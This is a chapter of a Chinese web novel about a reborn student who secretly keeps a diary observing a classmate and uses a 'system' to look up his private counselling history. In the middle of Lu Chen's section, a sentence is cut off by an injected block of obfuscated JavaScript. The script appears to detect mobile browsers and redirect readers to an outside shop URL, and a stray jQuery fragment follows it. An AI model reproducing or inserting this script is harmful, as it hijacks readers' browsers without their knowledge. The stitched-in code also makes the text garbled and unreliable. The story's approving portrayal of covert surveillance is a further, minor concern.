程见微赤脚蜷在宿舍小阳台上的藤椅里，脚踝纤细得像易折的花茎。夜风从外面灌进来，吹动她浅灰色羊绒开衫的下摆，里面白色丝质吊带若隐若现。长发松散地披在肩后，发尾微卷，在灯光下泛着柔软的光泽。


    手机贴在耳边，屏幕的光映亮她半张脸。


    “微微，吃饭了吗？”李秀云的声音从听筒传来，带着电话信号特有的轻微失真，却依然掩不住那份熟悉的、属于母亲的温度。


    程见微的指尖无意识地摩挲着藤椅扶手。那上面有细密的编织纹路，每一道沟壑都真实地硌着指腹。


    “吃了。”她的声音放得柔软，像浸了温水，“食堂今天有糖醋排骨，我打了双份。还喝了莲藕汤，您上次说秋天要润肺。”


    她说这些话时，脸上带着自然的微笑。嘴角上扬的弧度，眼尾微弯的幅度，都精准得像用尺子量过——这是她在过去一个多月里反复练习的肌肉记忆。要足以传达“女儿在分享生活”的亲切感，又不能显得过于甜腻。


    前世的她不会这样。


    前世的程见微，七十八年的人生里，有四十二年是块捂不热的石头。她对父母的情感隔离像一层厚厚的茧，理性分析他们的爱，计算回报的比例，却从未真正“感受”过。她记得母亲去世时，自己站在病床前，脑海里想的是“临终关怀的心理学效应”；父亲葬礼上，她安静地计算着“失去双亲对老年人心理健康的长期影响”。


    直到林霄握着她的手说：“你有没有想过，也许人可以既理性又柔软？”


    那时她五十五岁。


    太晚了。


    所以这一世，她要重新学习。


    “那就好。北城干，得多喝汤水。”李秀云顿了顿，声音里带上一丝试探性的小心翼翼，“和室友处得好吗？”


    程见微看向阳台玻璃门内。沈清淮正坐在书桌前看书，台灯的光晕笼着她清隽的侧脸，粉色花饰在黑发间若隐若现。


    “挺好的。”她说，每个字都浸着真实的温度，“周小雨是川北人，特别热情，总想分我零食。赵玥是体育生，人很直爽。沈清淮……”她停顿了半秒，像在寻找准确的描述词，“她话不多，但很细心。昨晚我熬夜，她给我热了杯牛奶。”


    这些全是实话。


    只是省略了更多——比如那杯牛奶的温度恰好是55℃，是她潜意识里最喜欢的温热程度；比如沈清淮递牛奶时说的那句“别熬太晚”，语调平静却透着真切的关心。


    电话转到程国栋手里：“学习呢？跟得上吗？”


    “跟得上。”程见微调整了一下坐姿，脚趾蜷起来，抵在冰凉的藤条上，“高数课挺有意思的，教授讲得很清楚。今天课上还被点名解题了，解出来了。”


    语气里带着一点恰到好处的、属于十八岁女孩的轻快。这是她从周小雨那里学来的语调——那个川北姑娘每次分享开心事时，尾音会微微上扬，像阳光跃上枝头。


    她想起前世父亲每次打电话来，总是欲言又止。那时她四十多岁，已经是厅级实职干部，父亲却依然小心翼翼地询问：“最近……累不累？”她总是回答“还好”，两个字就把所有关怀挡在门外。


    现在她十八岁，还可以重新开始。


    “好，好。”程国栋的声音里有掩饰不住的欣慰，那是一个父亲为女儿骄傲时最朴实的表达，“但别太拼，注意休息。身体最重要。”


    “知道啦，爸。”程见微轻声说。


    通话持续了二十三分钟。她分享了“食堂新开的窗口”“图书馆哪个位置最安静”“军训时教官的口头禅”，甚至抱怨了一句“北城秋天风真大，吹得脸干”——这是赵玥昨天说的，她记下了，此刻用在这里正好。


    每一个细节都真实可感，每一句话都生动自然。


    挂断电话时，她脸上的笑容像被按了删除键，一点一点淡去。


    最后只剩下平静。


    她把手机放在膝上，抬头看着夜空。远处操场方向传来隐约的音乐声——应该是某个社团在办迎新晚会，鼓点和欢呼模糊地混在一起，像隔着一层水传来的声音。


    她在藤椅上又坐了两分钟。


    然后起身，少见懒散地趿拉着拖鞋走回屋内。


    她走到书桌前，拉开左边第二个抽屉——里面整齐码放着几本笔记本，最上面那本是黑色硬壳封面，没有任何标记。


    她拿出来，翻开。


    纸页上是密密麻麻的字迹，是她对陆忱的观察日记。


    【9月5日，图书馆，夜】


    他坐在靠窗的位置，整个人陷在台灯的光晕里。黑色毛衣的袖口挽到手肘，小臂线条清晰。手指修长，握着笔的姿势很标准，但太用力了——指关节泛白，像要把笔捏碎。


    看了他两个多小时。期间他翻页十七次，每次翻页前都会用指尖摩挲纸张边缘，三下，很规律。像一种无意识的仪式。


    窗外有什么？他看了九次窗外。第一次看的时候，睫毛在眼下投出浅浅的阴影。第三次到第九次，表情没有任何变化，但呼吸变慢了——我能看见他肩背起伏的频率。


    有人在旁边桌子掉了一本书，很响。他整个人绷紧了零点几秒，像受惊的鹿。然后继续写字，但接下来的五分钟里，他写了又划掉三次。


    离开的时候经过我身边。脚步很轻，几乎没有声音。但有一瞬间，他停了一下——大概零点三秒——目光扫过我正在写的字。然后走了。


    空气里留下很淡的雪松香。


    【9月20日，高数课】


    那道题很难，但他应该会做。我看见他眉头蹙起来，不是困惑，是……不耐烦。手指在桌面上敲，一下，两下，三下——像在催促自己。


    我上台的时候他在看我。不是看题，是看我解题的步骤。我选了最简洁的那种解法。


    下课铃响的时候，他第一个起身离开。但走到门口时，回头看了一眼我的方向。


    只有一眼。


    【补充】


    他的左手腕内侧有一道很浅的疤，两厘米左右，颜色比周围皮肤淡一些。什么时候留下的？怎么留下的？


    肩膀的线条总是绷着，即使在放松的时候。像随时准备承受重量。


    对甜食有本能的抗拒。食堂发巧克力派那天，他碰都没碰，直接给了旁边的同学。


    程见微翻到今天的新页。


    笔尖悬停片刻，然后落下：


    【9月21日，A座教学楼公告栏前】


    傍晚五点半，夕阳是金色的。公告栏前围了七八个人，吵吵嚷嚷的。


    他站在人群外围，离得远远的，像隔着一层透明的墙。黑色衬衫，深灰色西裤，外面套了件剪裁合身的黑色羊绒开衫，整个人融在建筑物的阴影里。


    名单贴出来了。他走近，在A-07那行字前停下。站得很直，但肩膀微微前倾——那是专注的姿势。


    看了多久？大概半分钟。时间不长，但对他来说已经算久的。


    看到自己名字时毫无波澜。看到我的名字时，握着书包肩带的手指，有一瞬不易察觉的收紧。


    他在想什么？


    离开的时候脚步快了一些。不是急切，是……轻快？走出十几米后，他回望了一眼公告栏。


    只有一眼。


    然后转身，消失在楼角。


    写完，她停下笔。


    指尖在“A-07”那几个字上轻轻摩挲。纸张的纹理透过笔尖传递到指尖，有种粗糙的真实感。


    陆忱。


    她在心里默念这个名字。舌尖抵住上颚，发出很轻的气音。


    然后合上笔记本，锁回抽屉。钥匙转动时发出“咔哒”一声，清脆得像某种宣告。


    电脑屏幕亮着，H大学生系统界面显示着选课页面。她的目光落在《心理学导论》那行字上——授课教师：林修远。


    【系统，调取林修远详细资料。】


    意识中浮现出淡蓝色的文字流：


    【林修远，56岁，H大心理系教授，临床心理学方向。美国密歇根大学心理学博士，曾任三家跨国企业心理顾问，发表SSCI论文27篇。专长：人格评估、行为预测、危机干预。】


    【补充信息：连续三年担任陆氏集团高管心理测评顾问，与陆明璋有私交。曾为陆忱提供过为期六个月的心理疏导（16岁），目前仍保持不定期联系。】


    程见微的指尖在触摸板上滑动。


    鼠标指针悬在“选课”按钮上。


    她思考了三秒。


    第一，林修远是业内真正有分量的学者，不是那种照本宣科的教书匠。前世她读过他的论文，观点犀利，方法论扎实，是她欣赏的那种学者。


    第二，陆忱和他有过交集。这意味着在这门课上，她有可能观察到陆忱在“安全环境”下的真实状态——面对曾经的心理医生，一个人会不自觉地放松警惕。


    第三，也是最重要的一点：她自己想选。


    这个念头冒出来时，程见微怔了一下。


    是的，她想选。不是完全因为任务，而是因为……她想坐在教室里，听一个真正的心理学家讲课。想重新触摸那些熟悉的术语，想再次沉浸在理论推演的快感里。前世她四十二岁才转向心理学，像迟来的初恋，热烈而深沉。这一世，她可以更早开始。


    【系统，陆忱这学期选了什么课？】


    【经查询，目标本学期课表中包含《心理学导论》（周二15:00-17:00）。选课时间：9月13日14:27。】


    果然。


    程见微点击“选课”。


    【选课成功。课程时间：每周二15:00-17:00，文理楼203。当前选课人数：87/120】


    关掉页面，她靠回椅背。


    宿舍里很安静。周小雨戴着耳机追剧，偶尔发出压抑的笑声，像被捂住嘴的鸟儿。赵玥已经睡了，呼吸均匀绵长，带着年轻人才有的深沉。沈清淮还在看书，翻页的声音很轻，像蝴蝶扇动翅膀。


    程见微看着窗外深沉的夜色。


    然后调出系统界面。


    黑化值进度条浮现在意识中：14.5%。


    比初始值下降了0.5%。


    进度缓慢，但方向明确。


    【情感介入度：4.8%】


    【系统提示：检测到宿主对目标观察方式改变。数据化记录比例下降27%，主观描述比例上升。是否调整观察策略？】


    程见微沉默。


    【否。】


    【提示：情感介入度超过5%可能影响任务理性判断。】


    【我知道。】


    她关掉系统。


    从抽屉里又拿出一本笔记本——这次是浅灰色的布面，没有锁。翻开第一页，上面写着她这学期所有的课表、作业截止日期、重要事项提醒。


    在“10月”那一页的空白处，她用很小的字写下一行：


    开始在乎，是不是就是开始变软的开始？


    然后在这行字下面，又补了一句：


    但变软的人，才会被伤害。


    笔尖停顿，墨水在纸上晕开一个小小的圆点。


    她合上本子。


    ——————————


    同一时间，5号专家公寓808房。


    陆忱刚结束晚上的训练。


    他穿着黑色运动背心和短裤，汗水顺着肌肉线条往下淌，在冷色调的灯光下泛着水光。刚才完成了一组高强度的力量循环：硬拉、卧推、深蹲，每组八次，共四组。现在他坐在器械上，用白色毛巾擦汗，呼吸已经平复，但心率还在每分钟110次左右——身体还在燃烧。


    健身房很大，器材摆放得极其规整。所有杠铃片按重量从小到大排列，像等待检阅的士兵。哑铃架上的每一对都放在指定位置，间距完全相等。地面一尘不染，反射着顶灯的冷光，能照出模糊的人影。


    这里不像一个住所，更像一个高级酒店的健身中心——精致，整洁，毫无人气。


    H大的专家公寓建在校园最北侧，紧挨着那条划分学府区与繁华商业街的界河。从这面落地窗望出去，一半是校园里沉静的、疏于修剪的林木剪影，另一半则是北城昼夜不息的璀璨灯河。公寓的存在本身就像个隐喻：一脚踏在象牙塔的边缘，另一脚已浸入世俗浮华的光影里。


    陆忱站起身，走到窗边。


    窗外是北城夜晚的车流，红色的尾灯连成一条条流动的河，金色的前灯汇成反向的光带。玻璃将喧嚣隔绝，只留下无声的光影变幻。这座城市的夜晚从来不会真正黑暗，总有无数的光在争抢着证明自己的存在，像一场永不停歇的、盛大的展览。


    而他站在展览中央，一个安静而昂贵的玻璃匣子里。


    他看了一会儿，然后转身走进浴室。


    热水从头顶淋下，雾气蒸腾。他闭着眼，任由水流冲刷过肌肉紧绷的肩膀和后颈。训练能短暂地清空大脑，让那些不断浮现的、嘈杂的思绪暂时安静下来——父亲的邮件，助理的提醒，还有……


    程见微。


    这个名字今天第三次出现在他脑海里。


    第一次是下午在公告栏前。他看见A-07组名单，三个名字并列：陆忱，陈默，程见微。他的视线在那个名字上停留了五秒——比看自己名字的时间还长。


    第二次是刚才处理邮件时。组委会发来的小组信息，她的履历很漂亮，但他注意的是那张证件照：黑色长发，浅色瞳孔，表情平静得像一潭深水。不是刻意摆出的冷淡，是真正的……平静。


    第三次就是现在。


    水声哗哗，蒸汽氤氲。他在脑海里回放关于她的碎片：


    新生挑战赛第一次线上会议。她开摄像头很晚，出现在屏幕里时已经整理好状态：头发束成低马尾，露出干净的额头和脖颈。穿一件简单的白色衬衫，领口挺括。


    她发言不多，但每次开口都切中要害。讨论数据处理方案时，陈默提出用传统回归模型，她安静地听完，然后说：“可以考虑引入随机森林，对高维非线性关系的捕捉更灵活。”语气平稳，像在陈述一个显而易见的事实。


    陆忱当时在屏幕这端挑了挑眉。他原本也打算提出类似建议，但被她抢先了。而且她说得更准确——“高维非线性关系”，这个词选择得很专业。


    然后是接下来的几次会议。她总是提前五分钟进会议室，安静地等。发言时语速适中，每个词都清晰。有一次网络卡顿，陈默那边的声音断断续续，她很自然地说：“陈默，你要不先把要点打在聊天框？我们同步看。”


    很简单的解决方案，但大多数人在那种情况下只会反复说“听不见”。


    再然后，是图书馆。


    其实他早就察觉到有人坐在斜后方。不是特意关注，而是他对环境变化太敏感——椅子拉动的声音，书包放下的声音，翻书的声音。很轻，但在安静的图书馆里，这些声音像投入水面的石子，他无法忽略。


    他通过面前电脑屏幕的黑色反光，隐约看见她的轮廓：坐得很直，低头写字，头发从肩侧滑下来。偶尔她会停下来，笔尖悬在纸上，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993228|193824||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    像在思考。那个姿势会保持几秒，然后继续写。


    两小时二十七分钟。她离开时他看了眼时间。


    经过她桌子时，他的目光很短暂地扫过——她正在合上笔记本，封面是黑色的，没有任何花纹。手指按在封面上，指甲修剪得很干净，没有涂任何颜色。


    然后是高数课。


    她上台解题。陆忱看着她的背影——黑色长发束成低马尾，露出白皙的后颈。白色衬衫扎进牛仔裤里，腰线很细。她拿起粉笔时顿了顿，像是在脑内预演步骤，然后开始写。


    她在黑板上写公式时，手腕转动得很稳。粉笔与黑板摩擦发出“嗒嗒”的轻响，节奏均匀。


    他知道她能解出这道题。


    就像她站在那里，本身就构成一种笃定的存在——不张扬，却带着让人无端信服的力量。


    陆忱关掉水龙头，用浴巾擦干身体。镜子被雾气蒙住，他用手抹开一片，看着镜子里自己的脸。


    水珠顺着湿发往下滴，落在锁骨上，顺着胸肌的沟壑滑下去。眼睛很黑，在浴室暖光下依然显得冷。眼神平静，但眉心有一道很浅的、长期蹙眉留下的痕迹——从十六岁开始就有了，那时林修远说这是“防御性表情纹”。


    他穿上浴袍，腰带系得很紧，勒出腰线。走进书房时，赤脚踩在地板上，没有声音。


    书房很大，一整面墙都是书。经济学、金融学、数学，还有少量哲学和心理学的著作——大多是林修远推荐的。书桌是定制的黑胡桃木，桌面上只有一台笔记本电脑，一个黑色皮质文件夹，和那支深蓝色万宝龙钢笔。钢笔是母亲留下的，笔帽上有一道细微的划痕，他每次握笔时拇指都会无意识地摩挲那里。


    他坐下，打开电脑。


    邮箱里有十七封新邮件。他快速扫过发件人，先点开父亲助理的邮件——这是惯例，父亲的邮件永远优先级最高。


    内容很简短，措辞客气但不容置疑：


    「陆先生希望了解您本学期的课程安排与学术规划。另，下周五晚上有一场慈善晚宴，主办方是云氏集团，陆先生建议您出席。详细安排已附。」


    附件是一份PDF，列出了晚宴的时间、地点、着装要求，以及一份“建议交流名单”——上面有七八个名字，后面标注着他们的家族背景、企业情况、以及“可接触价值评估”。最后一个是云氏集团董事长的女儿，云晚，23岁，哥伦比亚大学硕士，备注是“可深入接触”。


    陆忱看着那份名单，眼神冷了下去。


    他回复：「课程安排已发学术顾问。晚宴时间冲突，无法出席。」


    发送。


    然后点开其他邮件，快速处理。投资顾问的报告，部门经理的请示，学校教务处的通知……大多数只需要简短回复，或者直接转发给相关人士。


    他再次点开那封来自“新生学术挑战赛”组委会的邮件。


    这封邮件通知A-07组已通过初审，并附上了小组所有成员的基本信息。


    他点开已经变灰的附件。


    表格有三行。他的目光准确地在第三行停留：


    程见微，计算机学院，计算机科学与技术专业


    他点开她的详细信息栏。因为已经有过缓存，页面很快加载出来：


    籍贯：砚州


    高考成绩：全省理科第三


    竞赛经历：NOIP省级一等奖，全国青少年信息学奥林匹克竞赛银牌


    项目经验：独立完成“基于深度学习的早期阿尔茨海默症影像筛查模型”“城市交通流量预测系统”“多模态情感分析算法”


    很漂亮的履历。漂亮得……有点过分。


    陆忱靠在椅背上，手指无意识地敲击扶手。一下，两下，三下——很慢的节奏，像在模拟思考的脉搏。


    他在想，这个人为什么要选这个项目，为什么选择和他们合作。


    论坛的招募是陈默发的帖，措辞直接，要求明确。他们确实需要一位计算机系的队友——心理健康预测模型离不开算法实现，这是项目的核心部分。


    程见微的站内私信在帖子发布两小时后发来。很短，附了简历和项目链接。这样履历的新生，按理说应该很抢手。论坛里每天都有几十个小组在找计算机系的队友，尤其是那些金融科技、量化交易、人工智能应用的热门课题，更愿意吸纳技术强的成员。


    可她选了他们这个。


    “城市青年心理健康风险预测模型”，是她综合了三人的学科背景给出的研究主题——题目有价值，但不算光鲜。数据处理涉及隐私伦理，模型解释性要求高，最终成果可能只是一篇论文或一个原型系统，远不如那些能直接变现的“热门”项目有吸引力。


    为什么？


    陆忱重新看了一遍她的简历。NOIP省级一等奖，全国奥赛银牌，三个独立项目……她完全可以选更有“前途”的队友，或者干脆自己当组长，招募别人。


    但她主动联系了他们。


    是巧合吗？


    一个技术能力突出的计算机系新生，在几十个招募帖里，恰好选择了他们这个方向相对冷门的小组，然后成了他的队友。


    陆忱关掉页面。


    房间里只剩下空调运行时细微的嗡鸣。窗外的城市灯火透过玻璃，在深色木地板上投下朦胧的光斑。


    他想起线上会议时她的样子。说话简洁，重点突出，从不浪费一个字。讨论技术方案时，她提出用集成学习提升模型鲁棒性，给出的理由和数据支持都很扎实。


    如果这背后有什么目的——那这目的藏得太深了。


    没有多余的接触，没有刻意的表现，甚至没有试图和他建立工作外的联系。


    她只是安静地成了这个小组的第三名成员，安静地完成分配的任务，安静地存在于每周的会议日程里。


    陆忱靠回椅背，闭上眼睛。


    脑海里却浮现出另一些画面：图书馆里她低头写字的侧影，高数课上她经过时留下的那句提示，公告栏前她名字和他并列在一起的白纸黑字……他心跳快了一拍。


    很轻微，但他感觉到了。像平静的湖面被一粒小石子打破，荡开的涟漪很小，但确实存在。


    不是因为兴奋，也不是因为紧张。是一种更复杂的情绪——像在漫长的独自行走中，突然看见前方雪地上有另一个人的脚印。


    你不知道那人是谁，要去哪里。


    但你知道，你不是唯一一个在这条路上的人。


    陆忱在窗边站了很久。


    直到手机震动，提醒他该服药了——胃药，奥美拉唑，他有多年的慢性胃炎，压力大或饮食不规律时就会发作。


    他走到客厅，从药箱里取出药片。药箱是白色的，里面所有药品按类别摆放，标签朝外。他拿出今天的份量，就着温水服下。药很苦，在舌根留下涩味，但他脸上没有任何表情。


    服完药，他看了眼手机。


    屏幕上有一条新消息，来自陈默：「陆忱，下周二晚上我们约第一次线下小组会议？程见微说她可以。」


    陆忱回复：「可以。时间地点？」


    「文理楼205，晚上七点半？」


    「好。」


    发送完，他锁屏。


    走回卧室前，他又看了一眼窗外。


    夜色深沉，但远处的灯火依然明亮。他想起程见微的眼睛——在线上会议的视频里，那双琥珀色的瞳孔在屏幕光下显得很浅，像透明的蜂蜜。


    他在心里想：


    程见微。


    下周见。